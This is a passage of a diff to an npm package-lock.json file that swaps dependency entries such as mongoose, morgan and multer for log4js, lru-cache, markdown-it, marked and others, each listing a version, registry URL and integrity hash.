"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { +- "picomatch": "^2.2.1" ++ "has-flag": "^4.0.0" + } +- }, +- "serialize-javascript": { +- "version": "5.0.1", +- "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-5.0.1.tgz", +- "integrity": "sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==", ++ } ++ } ++ }, ++ "log-update": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz", ++ "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==", ++ "dev": true, ++ "requires": { ++ "ansi-escapes": "^4.3.0", ++ "cli-cursor": "^3.1.0", ++ "slice-ansi": "^4.0.0", ++ "wrap-ansi": "^6.2.0" ++ }, ++ "dependencies": { ++ "ansi-styles": { ++ "version": "4.3.0", ++ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", ++ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { +- "randombytes": "^2.1.0" ++ "color-convert": "^2.0.1" + } + }, +- "workerpool": { +- "version": "6.1.0", +- "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.1.0.tgz", +- "integrity": "sha512-toV7q9rWNYha963Pl/qyeZ6wG+3nnsyvolaNUS8+R5Wtw6qJPTxIlOP1ZSvcGhEJw+l3HMMmtiNo9Gl61G4GVg==", +- "dev": true +- }, +- "yargs": { +- "version": "16.2.0", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", +- "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", ++ "wrap-ansi": { ++ "version": "6.2.0", ++ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", ++ "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dev": true, + "requires": { +- "cliui": "^7.0.2", +- "escalade": "^3.1.1", +- "get-caller-file": "^2.0.5", +- "require-directory": "^2.1.1", +- "string-width": "^4.2.0", +- "y18n": "^5.0.5", +- "yargs-parser": "^20.2.2" ++ "ansi-styles": "^4.0.0", ++ "string-width": "^4.1.0", ++ "strip-ansi": "^6.0.0" + } + } + } + }, +- "mock-fs": { +- "version": "5.1.2", +- "resolved": "https://registry.npmjs.org/mock-fs/-/mock-fs-5.1.2.tgz", +- "integrity": "sha512-YkjQkdLulFrz0vD4BfNQdQRVmgycXTV7ykuHMlyv+C8WCHazpkiQRDthwa02kSyo8wKnY9wRptHfQLgmf0eR+A==", +- "dev": true ++ "log4js": { ++ "version": "6.4.1", ++ "resolved": "https://registry.npmjs.org/log4js/-/log4js-6.4.1.tgz", ++ "integrity": "sha512-iUiYnXqAmNKiIZ1XSAitQ4TmNs8CdZYTAWINARF3LjnsLN8tY5m0vRwd6uuWj/yNY0YHxeZodnbmxKFUOM2rMg==", ++ "dev": true, ++ "requires": { ++ "date-format": "^4.0.3", ++ "debug": "^4.3.3", ++ "flatted": "^3.2.4", ++ "rfdc": "^1.3.0", ++ "streamroller": "^3.0.2" ++ } + }, +- "module-details-from-path": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/module-details-from-path/-/module-details-from-path-1.0.3.tgz", +- "integrity": "sha1-EUyUlnPiqKNenTV4hSeqN7Z52is=" ++ "long": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz", ++ "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA==" + }, +- "moment": { +- "version": "2.29.4", +- "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz", +- "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w==" ++ "loose-envify": { ++ "version": "1.4.0", ++ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", ++ "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", ++ "requires": { ++ "js-tokens": "^3.0.0 || ^4.0.0" ++ } + }, +- "moment-timezone": { +- "version": "0.5.34", +- "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.34.tgz", +- "integrity": "sha512-3zAEHh2hKUs3EXLESx/wsgw6IQdusOT8Bxm3D9UrHPQR7zlMmzwybC8zHEM1tQ4LJwP7fcxrWr8tuBg05fFCbg==", ++ "loupe": { ++ "version": "2.3.1", ++ "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.1.tgz", ++ "integrity": "sha512-EN1D3jyVmaX4tnajVlfbREU4axL647hLec1h/PXAb8CPDMJiYitcWF2UeLVNttRqaIqQs4x+mRvXf+d+TlDrCA==", ++ "dev": true, + "requires": { +- "moment": ">= 2.9.0" ++ "get-func-name": "^2.0.0" + } + }, +- "mongo-uri": { +- "version": "0.1.2", +- "resolved": "https://registry.npmjs.org/mongo-uri/-/mongo-uri-0.1.2.tgz", +- "integrity": "sha1-FzrwFAMzkALgq9C01nWYfTzc+Z4=" ++ "lower-case": { ++ "version": "2.0.2", ++ "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", ++ "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", ++ "dev": true, ++ "requires": { ++ "tslib": "^2.0.3" ++ } + }, +- "mongodb": { +- "version": "3.7.3", +- "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-3.7.3.tgz", +- "integrity": "sha512-Psm+g3/wHXhjBEktkxXsFMZvd3nemI0r3IPsE0bU+4//PnvNWKkzhZcEsbPcYiWqe8XqXJJEg4Tgtr7Raw67Yw==", ++ "lru_map": { ++ "version": "0.3.3", ++ "resolved": "https://registry.npmjs.org/lru_map/-/lru_map-0.3.3.tgz", ++ "integrity": "sha1-tcg1G5Rky9dQM1p5ZQoOwOVhGN0=" ++ }, ++ "lru-cache": { ++ "version": "5.1.1", ++ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", ++ "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "requires": { +- "bl": "^2.2.1", +- "bson": "^1.1.4", +- "denque": "^1.4.1", +- "optional-require": "^1.1.8", +- "safe-buffer": "^5.1.2", +- "saslprep": "^1.0.0" ++ "yallist": "^3.0.2" + } + }, +- "mongoose": { +- "version": "5.13.14", +- "resolved": "https://registry.npmjs.org/mongoose/-/mongoose-5.13.14.tgz", +- "integrity": "sha512-j+BlQjjxgZg0iWn42kLeZTB91OejcxWpY2Z50bsZTiKJ7HHcEtcY21Godw496GMkBqJMTzmW7G/kZ04mW+Cb7Q==", ++ "lru-cache-for-clusters-as-promised": { ++ "version": "1.7.4", ++ "resolved": "https://registry.npmjs.org/lru-cache-for-clusters-as-promised/-/lru-cache-for-clusters-as-promised-1.7.4.tgz", ++ "integrity": "sha512-7A+O3nSLQZua1Et9MTuKP7Tl7Zo2L5OucBafTsmAXHQ7M9whxforWoM2RsX25sP3HmaVwF7D7Eg64o6iqAuZkw==", + "requires": { +- "@types/bson": "1.x || 4.0.x", +- "@types/mongodb": "^3.5.27", +- "bson": "^1.1.4", +- "kareem": "2.3.2", +- "mongodb": "3.7.3", +- "mongoose-legacy-pluralize": "1.0.2", +- "mpath": "0.8.4", +- "mquery": "3.2.5", +- "ms": "2.1.2", +- "optional-require": "1.0.x", +- "regexp-clone": "1.0.0", +- "safe-buffer": "5.2.1", +- "sift": "13.5.2", +- "sliced": "1.0.1" ++ "cron": "1.8.2", ++ "debug": "4.3.3", ++ "lru-cache": "6.0.0", ++ "uuid": "8.3.2" ++ }, ++ "dependencies": { ++ "lru-cache": { ++ "version": "6.0.0", ++ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", ++ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", ++ "requires": { ++ "yallist": "^4.0.0" ++ } ++ }, ++ "uuid": { ++ "version": "8.3.2", ++ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", ++ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" ++ }, ++ "yallist": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", ++ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" ++ } ++ } ++ }, ++ "lz-string": { ++ "version": "1.4.4", ++ "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.4.4.tgz", ++ "integrity": "sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY=", ++ "dev": true ++ }, ++ "mailchimp-api-v3": { ++ "version": "1.15.0", ++ "resolved": "https://registry.npmjs.org/mailchimp-api-v3/-/mailchimp-api-v3-1.15.0.tgz", ++ "integrity": "sha512-9TxCFG+VRpl14HOHgABHYmC5GvpCY7LYqyTefOXd4GtI07oXCiJ7W5fEvk3SJKBctlbjhKbzjB5qOZMQpacEUQ==", ++ "requires": { ++ "bluebird": "^3.4.0", ++ "lodash": "^4.17.14", ++ "request": "^2.88.0", ++ "tar": "^4.0.2" + }, + "dependencies": { +- "ms": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", +- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" ++ "fs-minipass": { ++ "version": "1.2.7", ++ "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz", ++ "integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==", ++ "requires": { ++ "minipass": "^2.6.0" ++ } + }, +- "optional-require": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.0.3.tgz", +- "integrity": "sha512-RV2Zp2MY2aeYK5G+B/Sps8lW5NHAzE5QClbFP15j+PWmP+T9PxlJXBOOLoSAdgwFvS4t0aMR4vpedMkbHfh0nA==" ++ "minimist": { ++ "version": "1.2.5", ++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", ++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" ++ }, ++ "minipass": { ++ "version": "2.9.0", ++ "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz", ++ "integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==", ++ "requires": { ++ "safe-buffer": "^5.1.2", ++ "yallist": "^3.0.0" ++ } ++ }, ++ "minizlib": { ++ "version": "1.3.3", ++ "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz", ++ "integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==", ++ "requires": { ++ "minipass": "^2.9.0" ++ } ++ }, ++ "mkdirp": { ++ "version": "0.5.5", ++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", ++ "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", ++ "requires": { ++ "minimist": "^1.2.5" ++ } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" ++ }, ++ "tar": { ++ "version": "4.4.19", ++ "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.19.tgz", ++ "integrity": "sha512-a20gEsvHnWe0ygBY8JbxoM4w3SJdhc7ZAuxkLqh+nvNQN2IOt0B5lLgM490X5Hl8FF0dl0tOf2ewFYAlIFgzVA==", ++ "requires": { ++ "chownr": "^1.1.4", ++ "fs-minipass": "^1.2.7", ++ "minipass": "^2.9.0", ++ "minizlib": "^1.3.3", ++ "mkdirp": "^0.5.5", ++ "safe-buffer": "^5.2.1", ++ "yallist": "^3.1.1" ++ } + } + } + }, +- "mongoose-legacy-pluralize": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/mongoose-legacy-pluralize/-/mongoose-legacy-pluralize-1.0.2.tgz", +- "integrity": "sha512-Yo/7qQU4/EyIS8YDFSeenIvXxZN+ld7YdV9LqFVQJzTLye8unujAWPZ4NWKfFA+RNjh+wvTWKY9Z3E5XM6ZZiQ==", +- "requires": {} +- }, +- "morgan": { +- "version": "1.10.0", +- "resolved": "https://registry.npmjs.org/morgan/-/morgan-1.10.0.tgz", +- "integrity": "sha512-AbegBVI4sh6El+1gNwvD5YIck7nSA36weD7xvIxG4in80j/UoK8AEGaWnnz8v1GxonMCltmlNs5ZKbGvl9b1XQ==", ++ "make-dir": { ++ "version": "2.1.0", ++ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", ++ "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "requires": { +- "basic-auth": "~2.0.1", +- "debug": "2.6.9", +- "depd": "~2.0.0", +- "on-finished": "~2.3.0", +- "on-headers": "~1.0.2" ++ "pify": "^4.0.1", ++ "semver": "^5.6.0" + }, + "dependencies": { +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "depd": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", +- "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" ++ "pify": { ++ "version": "4.0.1", ++ "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", ++ "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" + }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" ++ "semver": { ++ "version": "5.7.1", ++ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", ++ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + } + } + }, +- "mpath": { +- "version": "0.8.4", +- "resolved": "https://registry.npmjs.org/mpath/-/mpath-0.8.4.tgz", +- "integrity": "sha512-DTxNZomBcTWlrMW76jy1wvV37X/cNNxPW1y2Jzd4DZkAaC5ZGsm8bfGfNOthcDuRJujXLqiuS6o3Tpy0JEoh7g==" ++ "mandrill-api": { ++ "version": "1.0.45", ++ "resolved": "https://registry.npmjs.org/mandrill-api/-/mandrill-api-1.0.45.tgz", ++ "integrity": "sha1-Fjk5z0hr0YJ3sPO69BLD5l2Epy0=" + }, +- "mquery": { +- "version": "3.2.5", +- "resolved": "https://registry.npmjs.org/mquery/-/mquery-3.2.5.tgz", +- "integrity": "sha512-VjOKHHgU84wij7IUoZzFRU07IAxd5kWJaDmyUzQlbjHjyoeK5TNeeo8ZsFDtTYnSgpW6n/nMNIHvE3u8Lbrf4A==", ++ "markdown-it": { ++ "version": "12.3.2", ++ "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-12.3.2.tgz", ++ "integrity": "sha512-TchMembfxfNVpHkbtriWltGWc+m3xszaRD0CZup7GFFhzIgQqxIfn3eGj1yZpfuflzPvfkt611B2Q/Bsk1YnGg==", ++ "dev": true, + "requires": { +- "bluebird": "3.5.1", +- "debug": "3.1.0", +- "regexp-clone": "^1.0.0", +- "safe-buffer": "5.1.2", +- "sliced": "1.0.1" ++ "argparse": "^2.0.1", ++ "entities": "~2.1.0", ++ "linkify-it": "^3.0.1", ++ "mdurl": "^1.0.1", ++ "uc.micro": "^1.0.5" + }, + "dependencies": { +- "bluebird": { +- "version": "3.5.1", +- "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", +- "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==" +- }, +- "debug": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", +- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" ++ "entities": { ++ "version": "2.1.0", ++ "resolved": "https://registry.npmjs.org/entities/-/entities-2.1.0.tgz", ++ "integrity": "sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w==", ++ "dev": true + } + } + }, +- "ms": { +- "version": "2.1.3", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", +- "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" ++ "markdown-it-anchor": { ++ "version": "8.4.1", ++ "resolved": "https://registry.npmjs.org/markdown-it-anchor/-/markdown-it-anchor-8.4.1.tgz", ++ "integrity": "sha512-sLODeRetZ/61KkKLJElaU3NuU2z7MhXf12Ml1WJMSdwpngeofneCRF+JBbat8HiSqhniOMuTemXMrsI7hA6XyA==", ++ "dev": true, ++ "requires": {} + }, +- "multer": { +- "version": "1.4.4", +- "resolved": "https://registry.npmjs.org/multer/-/multer-1.4.4.tgz", +- "integrity": "sha512-2wY2+xD4udX612aMqMcB8Ws2Voq6NIUPEtD1be6m411T4uDH/VtL9i//xvcyFlTVfRdaBsk7hV5tgrGQqhuBiw==", ++ "markdown-link": { ++ "version": "0.1.1", ++ "resolved": "https://registry.npmjs.org/markdown-link/-/markdown-link-0.1.1.tgz", ++ "integrity": "sha1-MsXGUZmmRXMWMi0eQinRNAfIx88=", ++ "dev": true ++ }, ++ "markdown-toc": { ++ "version": "1.2.0", ++ "resolved": "https://registry.npmjs.org/markdown-toc/-/markdown-toc-1.2.0.tgz", ++ "integrity": "sha512-eOsq7EGd3asV0oBfmyqngeEIhrbkc7XVP63OwcJBIhH2EpG2PzFcbZdhy1jutXSlRBBVMNXHvMtSr5LAxSUvUg==", ++ "dev": true, + "requires": { +- "append-field": "^1.0.0", +- "busboy": "^0.2.11", + "concat-stream": "^1.5.2", +- "mkdirp": "^0.5.4", +- "object-assign": "^4.1.1", +- "on-finished": "^2.3.0", +- "type-is": "^1.6.4", +- "xtend": "^4.0.0" ++ "diacritics-map": "^0.1.0", ++ "gray-matter": "^2.1.0", ++ "lazy-cache": "^2.0.2", ++ "list-item": "^1.1.1", ++ "markdown-link": "^0.1.1", ++ "minimist": "^1.2.0", ++ "mixin-deep": "^1.1.3", ++ "object.pick": "^1.2.0", ++ "remarkable": "^1.7.1", ++ "repeat-string": "^1.6.1", ++ "strip-color": "^0.1.0" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", ++ "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", +@@ -57911,25 +46383,20 @@ + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" ++ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", ++ "dev": true + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" +- }, +- "mkdirp": { +- "version": "0.5.5", +- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", +- "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", +- "requires": { +- "minimist": "^1.2.5" +- } ++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", ++ "dev": true + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", ++ "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", +@@ -57944,502 +46411,331 @@ + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", ++ "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + } + } + }, +- "multicast-dns": { +- "version": "6.2.3", +- "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz", +- "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==", +- "devOptional": true, +- "requires": { +- "dns-packet": "^1.3.1", +- "thunky": "^1.0.2" +- } +- }, +- "multicast-dns-service-types": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz", +- "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=", +- "devOptional": true +- }, +- "mute-stream": { +- "version": "0.0.8", +- "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", +- "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==" ++ "marked": { ++ "version": "4.1.0", ++ "resolved": "https://registry.npmjs.org/marked/-/marked-4.1.0.tgz", ++ "integrity": "sha512-+Z6KDjSPa6/723PQYyc1axYZpYYpDnECDaU6hkaf5gqBieBkMKYReL5hteF2QizhlMbgbo8umXl/clZ67+GlsA==" + }, +- "mv": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/mv/-/mv-2.1.1.tgz", +- "integrity": "sha1-rmzg1vbV4KT32JN5jQPB6pVZtqI=", +- "optional": true, ++ "match-sorter": { ++ "version": "6.3.1", ++ "resolved": "https://registry.npmjs.org/match-sorter/-/match-sorter-6.3.1.tgz", ++ "integrity": "sha512-mxybbo3pPNuA+ZuCUhm5bwNkXrJTbsk5VWbR5wiwz/GC6LIiegBGn2w3O08UG/jdbYLinw51fSQ5xNU1U3MgBw==", + "requires": { +- "mkdirp": "~0.5.1", +- "ncp": "~2.0.0", +- "rimraf": "~2.4.0" +- }, +- "dependencies": { +- "glob": { +- "version": "6.0.4", +- "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz", +- "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=", +- "optional": true, +- "requires": { +- "inflight": "^1.0.4", +- "inherits": "2", +- "minimatch": "2 || 3", +- "once": "^1.3.0", +- "path-is-absolute": "^1.0.0" +- } +- }, +- "rimraf": { +- "version": "2.4.5", +- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.4.5.tgz", +- "integrity": "sha1-7nEM5dk6j9uFb7Xqj/Di11k0sto=", +- "optional": true, +- "requires": { +- "glob": "^6.0.1" +- } +- } ++ "@babel/runtime": "^7.12.5", ++ "remove-accents": "0.4.2" + } + }, +- "namespace-emitter": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/namespace-emitter/-/namespace-emitter-2.0.1.tgz", +- "integrity": "sha512-N/sMKHniSDJBjfrkbS/tpkPj4RAbvW3mr8UAzvlMHyun93XEm83IAvhWtJVHo+RHn/oO8Job5YN4b+wRjSVp5g==" ++ "math-log2": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/math-log2/-/math-log2-1.0.1.tgz", ++ "integrity": "sha1-+4lBvl9evol55xjmJzsXjlhpRWU=" + }, +- "nan": { +- "version": "2.15.0", +- "resolved": "https://registry.npmjs.org/nan/-/nan-2.15.0.tgz", +- "integrity": "sha512-8ZtvEnA2c5aYCZYd1cvgdnU6cqwixRoYg70xPLWUws5ORTa/lnw+u4amixRS/Ac5U5mQVgp9pnlSUnbNWFaWZQ==" ++ "math-random": { ++ "version": "1.0.4", ++ "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.4.tgz", ++ "integrity": "sha512-rUxjysqif/BZQH2yhd5Aaq7vXMSx9NdEsQcyA07uEzIvxgI7zIr33gGsh+RU0/XjmQpCW7RsVof1vlkvQVCK5A==", ++ "dev": true + }, +- "nanoclone": { +- "version": "0.2.1", +- "resolved": "https://registry.npmjs.org/nanoclone/-/nanoclone-0.2.1.tgz", +- "integrity": "sha512-wynEP02LmIbLpcYw8uBKpcfF6dmg2vcpKqxeH5UcoKEYdExslsdUA4ugFauuaeYdTB76ez6gJW8XAZ6CgkXYxA==" ++ "mathjax": { ++ "version": "2.7.9", ++ "resolved": "https://registry.npmjs.org/mathjax/-/mathjax-2.7.9.tgz", ++ "integrity": "sha512-NOGEDTIM9+MrsqnjPEjVGNx4q0GQxqm61yQwSK+/5S59i26wId5IC5gNu9/bu8+CCVl5p9G2IHcAl/wJa+5+BQ==" + }, +- "nanoid": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.2.0.tgz", +- "integrity": "sha512-fmsZYa9lpn69Ad5eDn7FMcnnSR+8R34W9qJEijxYhTbfOWzr22n1QxCMzXLK+ODyW2973V3Fux959iQoUxzUIA==", ++ "mdurl": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", ++ "integrity": "sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=", + "dev": true + }, +- "nanomatch": { +- "version": "1.2.13", +- "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", +- "integrity": 